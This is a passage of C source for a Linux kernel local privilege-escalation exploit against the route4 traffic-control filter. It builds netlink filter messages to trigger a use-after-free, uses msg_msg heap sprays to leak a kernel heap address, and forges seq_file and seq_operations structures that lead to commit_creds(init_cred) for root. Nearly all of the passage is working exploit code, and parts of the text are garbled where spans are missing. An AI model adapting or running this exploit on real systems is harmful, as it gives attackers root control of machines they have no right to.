.iov_len = msg->nlmsg_len 300 | }; 301 | struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; 302 | struct msghdr msgh = { 303 | .msg_name = &nladdr, 304 | .msg_namelen = sizeof(nladdr), 305 | .msg_iov = &iov, 306 | .msg_iovlen = 1, 307 | }; 308 | sendmsg(sockfd, &msgh, 0); 309 | 310 | free(start); 311 | return 1; 312 | } 313 | 314 | 315 | int add_tc_(u_int32_t from, u_int32_t to, u_int32_t handle, u_int16_t flags) { 316 | char *start = malloc(0x2000); 317 | memset(start, 0, 0x2000); 318 | struct nlmsghdr *msg = (struct nlmsghdr *)start; 319 | 320 | // new filter 321 | msg = msg + msg->nlmsg_len; 322 | msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); 323 | msg->nlmsg_flags = NLM_F_REQUEST|flags; 324 | msg->nlmsg_type = RTM_NEWTFILTER; 325 | struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); 326 | 327 | // prio, protocol 328 | u_int32_t prio = 1; 329 | u_int32_t protocol = 1; 330 | t->tcm_info = TC_H_MAKE(prio<<16, protocol); 331 | t->tcm_ifindex = 1; 332 | t->tcm_family = AF_UNSPEC; 333 | t->tcm_handle = handle; 334 | // t->tcm_parent = TC_H_ROOT; 335 | 336 | addattr_l(msg, 0x1000, TCA_KIND, "route", 6); 337 | struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS); 338 | addattr_l(msg, 0x1000, TCA_ROUTE4_FROM, &from, 4); 339 | addattr_l(msg, 0x1000, TCA_ROUTE4_TO, &to, 4); 340 | addattr_nest_end(msg, tail); 341 | 342 | 343 | // packing 344 | struct iovec iov = { 345 | .iov_base = msg, 346 | .iov_len = msg->nlmsg_len 347 | }; 348 | struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; 349 | struct msghdr msgh = { 350 | .msg_name = &nladdr, 351 | .msg_namelen = sizeof(nladdr), 352 | .msg_iov = &iov, 353 | .msg_iovlen = 1, 354 | }; 355 | 356 | sendmsg(sockfd, &msgh, 0); 357 | 358 | free(start); 359 | return 1; 360 | } 361 | 362 | void *dump_tc(u_int32_t from, u_int32_t to, u_int32_t handle, u_int16_t flags) { 363 | char *start = malloc(0x2000); 364 | memset(start, 0, 0x2000); 365 | struct nlmsghdr *msg = (struct nlmsghdr *)start; 366 | 367 | // new filter 368 | msg = msg + msg->nlmsg_len; 369 | msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); 370 | msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_ECHO | flags; 371 | msg->nlmsg_type = RTM_GETTFILTER; 372 | struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); 373 | 374 | // prio, protocol 375 | u_int32_t prio = 1; 376 | u_int32_t protocol = 1; 377 | t->tcm_info = TC_H_MAKE(prio<<16, protocol); 378 | t->tcm_ifindex = 1; 379 | t->tcm_family = AF_UNSPEC; 380 | t->tcm_handle = handle; 381 | // t->tcm_parent = TC_H_ROOT; 382 | 383 | addattr_l(msg, 0x1000, TCA_KIND, "route", 6); 384 | struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS); 385 | addattr_l(msg, 0x1000, TCA_ROUTE4_FROM, &from, 4); 386 | addattr_l(msg, 0x1000, TCA_ROUTE4_TO, &to, 4); 387 | addattr_nest_end(msg, tail); 388 | 389 | 390 | // packing 391 | struct iovec iov = { 392 | .iov_base = msg, 393 | .iov_len = msg->nlmsg_len 394 | }; 395 | struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; 396 | struct msghdr msgh = { 397 | .msg_name = &nladdr, 398 | .msg_namelen = sizeof(nladdr), 399 | .msg_iov = &iov, 400 | .msg_iovlen = 1, 401 | }; 402 | 403 | sendmsg(sockfd, &msgh, 0); 404 | memset(start, 0, 0x2000); 405 | iov.iov_len = 0x2000; 406 | iov.iov_base = start; 407 | recvmsg(sockfd, &msgh, 0); 408 | 409 | if (msgh.msg_namelen != sizeof(nladdr)) { 410 | printf("size of sender address is wrong\n"); 411 | } 412 | 413 | // DumpHex(start, 0x200); 414 | 415 | // free(start); 416 | 417 | return start; 418 | } 419 | 420 | void* dump_tc1() { 421 | // from hash == 31 422 | return dump_tc(0, 0x7f, 0x7f7f, 0); 423 | } 424 | 425 | void add_tc_leak1() { 426 | add_tc(0, 0, 0x1f, 0x801f8000, NLM_F_EXCL|NLM_F_CREATE); 427 | } 428 | 429 | void add_tc_leak2() { 430 | add_tc(0, 0x11, 0x2f, 0x801f8000, NLM_F_CREATE); 431 | } 432 | 433 | void add_tc1() { 434 | add_tc_(0, 0x7f, 0x7f7f, NLM_F_EXCL|NLM_F_CREATE); 435 | } 436 | 437 | void add_tc2() { 438 | add_tc_(0, 0x11, 0x7f7f, NLM_F_CREATE); 439 | } 440 | 441 | /* spray 256 */ 442 | struct msg { 443 | long mtype; 444 | char data[0]; 445 | }; 446 | 447 | int msg_init() { 448 | int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); 449 | if (msqid < 0) { 450 | perror("msgget"); 451 | } 452 | return msqid; 453 | } 454 | 455 | void msg_alloc(int msqid, size_t size) { 456 | struct msg *m = malloc(sizeof(struct msg) + size); 457 | m->mtype = 1; 458 | memset(m->data, 'B', size); 459 | 460 | // set handle 461 | *(uint32_t*)((char*)m + 0x40 - 40) = 0xdead; 462 | // func hijacking 1: ruc call back 463 | //*(uint64_t*)((char*)m + 0x98 - 40) = 0x2f746d702f78; 464 | *(uint64_t*)((char*)m + 0xa0 - 40) = 0xffffffff81248250; 465 | // func hijacking 2: work_struct workfunc 466 | *(uint64_t*)((char*)m + 0x70 - 40) = 0xdeadbeefdeadbeef; 467 | 468 | if (msgsnd(msqid, (void *)m, size-48, 0) != 0) { 469 | perror("msgsnd"); 470 | } 471 | free(m); 472 | } 473 | 474 | void msg_free(int msqid, size_t size) { 475 | char *data = malloc(size+0x10); 476 | if(msgrcv(msqid, data, size, 1, 0) < 0) { 477 | perror("msgrcv"); 478 | } 479 | free(data); 480 | } 481 | 482 | 483 | char* msg_get(int id, size_t size) { 484 | char *data = malloc(size+0x10); 485 | msgrcv(id, data, size, 1, 0); 486 | return data; 487 | } 488 | 489 | int kmalloc_msg(int num) { 490 | int msqid; 491 | msqid = msg_init(); 492 | 493 | for (int i=0; ifile; 525 | if (file->f_op->flush) 526 | file->f_op->flush(file, NULL); 527 | __fput_sync(file); 528 | complete(&acct->done); 529 | } 530 | 531 | static int cgroup_seqfile_show(struct seq_file *m, void *arg) 532 | { 533 | struct cftype *cft = seq_cft(m); 534 | struct cgroup_subsys_state *css = seq_css(m); 535 | 536 | if (cft->seq_show) 537 | return cft->seq_show(m, arg); 538 | 539 | if (cft->read_u64) 540 | seq_printf(m, "%llu\n", cft->read_u64(css, cft)); 541 | else if (cft->read_s64) 542 | seq_printf(m, "%lld\n", cft->read_s64(css, cft)); 543 | else 544 | return -EINVAL; 545 | return 0; 546 | } 547 | */ 548 | 549 | void exploit() { 550 | int msqid = msg_init(); 551 | int msqid2 = msg_init(); 552 | uint64_t *data; 553 | uint64_t kernel_heap; 554 | 555 | add_qdisc(); 556 | add_tc_leak1(); 557 | #ifdef DEBUG 558 | printf("Freeing the route4_filter\n"); 559 | #endif 560 | add_tc_leak2(); 561 | #ifdef DEBUG 562 | printf("Sleep for a while making sure route4_filter is freed\n"); 563 | #endif 564 | sleep(1); 565 | 566 | struct msg *m = malloc(sizeof(struct msg) + 192 + PAGE_SIZE); 567 | m->mtype = 1; 568 | memset(m->data, 0, 192); 569 | // set handle 570 | *(uint32_t*)((char*)m + 0x40 - 40) = 0x801f8000; 571 | 572 | for (int i=0;i<8;i++){ 573 | if (msgsnd(msqid, (void *)m, 128-48, 0) != 0) { 574 | perror("msgsnd"); 575 | } 576 | } 577 | 578 | data = dump_tc(0, 0x7f, 0x801f8000, 0); 579 | #ifdef DEBUG 580 | DumpHex(data, 100); 581 | #endif 582 | kernel_heap = data[8]; 583 | kernel_heap = kernel_heap & 0xffffffff; 584 | kernel_heap = kernel_heap << 32; 585 | free(data); 586 | 587 | add_tc1(); 588 | add_tc2(); 589 | sleep(1); 590 | 591 | *(uint32_t*)((char*)m + 0x40 - 40) = 0x7f7f; 592 | for (int i=0;i<8;i++){ 593 | if (msgsnd(msqid2, (void *)m, 128-48, 0) != 0) { 594 | perror("msgsnd"); 595 | } 596 | } 597 | data = dump_tc(0, 0x7f, 0x7f7f, 0); 598 | #ifdef DEBUG 599 | DumpHex(data, 0x100); 600 | #endif 601 | free(data); 602 | data = dump_tc(0, 0x7f, 0x7f7f, 0); 603 | 604 | #ifdef DEBUG 605 | DumpHex(data, 0x100); 606 | #endif 607 | 608 | kernel_heap = kernel_heap + ((data[9]&0xffff) << 16); 609 | printf("here is the heap addr: 0x%lx\n", kernel_heap); 610 | 611 | for (int i=0; idata+PAGE_SIZE-48-8; 620 | memset(spray, 0, 192); 621 | *(uint32_t *)(spray + 0x40) = 0x7f7f; 622 | *(uint64_t *)(spray + 0x30) = kernel_heap; 623 | 624 | for (int i=0; ibuff == heap_addr; 675 | // m->size == PAGE_SIZE; 0x8 676 | // m->count == 0; 0x18 677 | // m->read_pos == xxx; 0x30 678 | // m->version == 0; 0x38 679 | 680 | // type = struct seq_file { 681 | // char *buf; 0 682 | // size_t size; 8 683 | // size_t from; 0x10 684 | // size_t count; 0x18 685 | // size_t pad_until; 0x20 686 | // loff_t index; 0x28 687 | // loff_t read_pos; 0x30 688 | // u64 version; 0x38 689 | // struct mutex lock; 0x40 690 | // const struct seq_operations *op; 0x60 691 | // int poll_event; 0x68 692 | // const struct file *file; 0x70 693 | // void *private; 0x78 694 | // } 695 | // acpi_ec_event_processor 696 | 697 | // cpuinfo_ops: 698 | // struct seq_operations { 699 | // void * (*start) (struct seq_file *m, loff_t *pos); 700 | // void (*stop) (struct seq_file *m, void *v); 701 | // void * (*next) (struct seq_file *m, void *v, loff_t *pos); 702 | // int (*show) (struct seq_file *m, void *v); 703 | // }; 704 | // start == xor rax, rax; ret 705 | // stop == jump table 706 | 707 | /* 708 | struct remote_function_call { 709 | struct task_struct *p; 710 | remote_function_f func; 711 | void *info; 712 | int ret; 713 | }; 714 | */ 715 | 716 | memcpy(spray, leaked, 120); 717 | uint64_t *rop = (uint64_t *)spray; 718 | /* pre condition */ 719 | rop[0x38/8] = 0; 720 | rop[0x18/8] = 0; 721 | 722 | /* ops */ 723 | rop[0x60/8] = KERNEL_HEAP+0x68; 724 | rop[0x68/8] = XOR_RAX_RET; 725 | rop[0x70/8] = ACPI_EVENT; 726 | // rop[0x78/8] = remote...; 727 | 728 | // acpi_ec_query_handler 729 | rop[0x20/8] = KERNEL_HEAP + 0x38; // handler 730 | /* 731 | type = struct acpi_ec_query_handler { 732 | struct list_head node; 733 | acpi_ec_query_func func; 734 | acpi_handle handle; 735 | void *data; 736 | u8 query_bit; 737 | struct kref kref; 738 | } 739 | */ 740 | rop[0x48/8] = COMMIT_CREDS; 741 | rop[0x58/8] = INIT_CRED; 742 | 743 | 744 | for (int i=0; i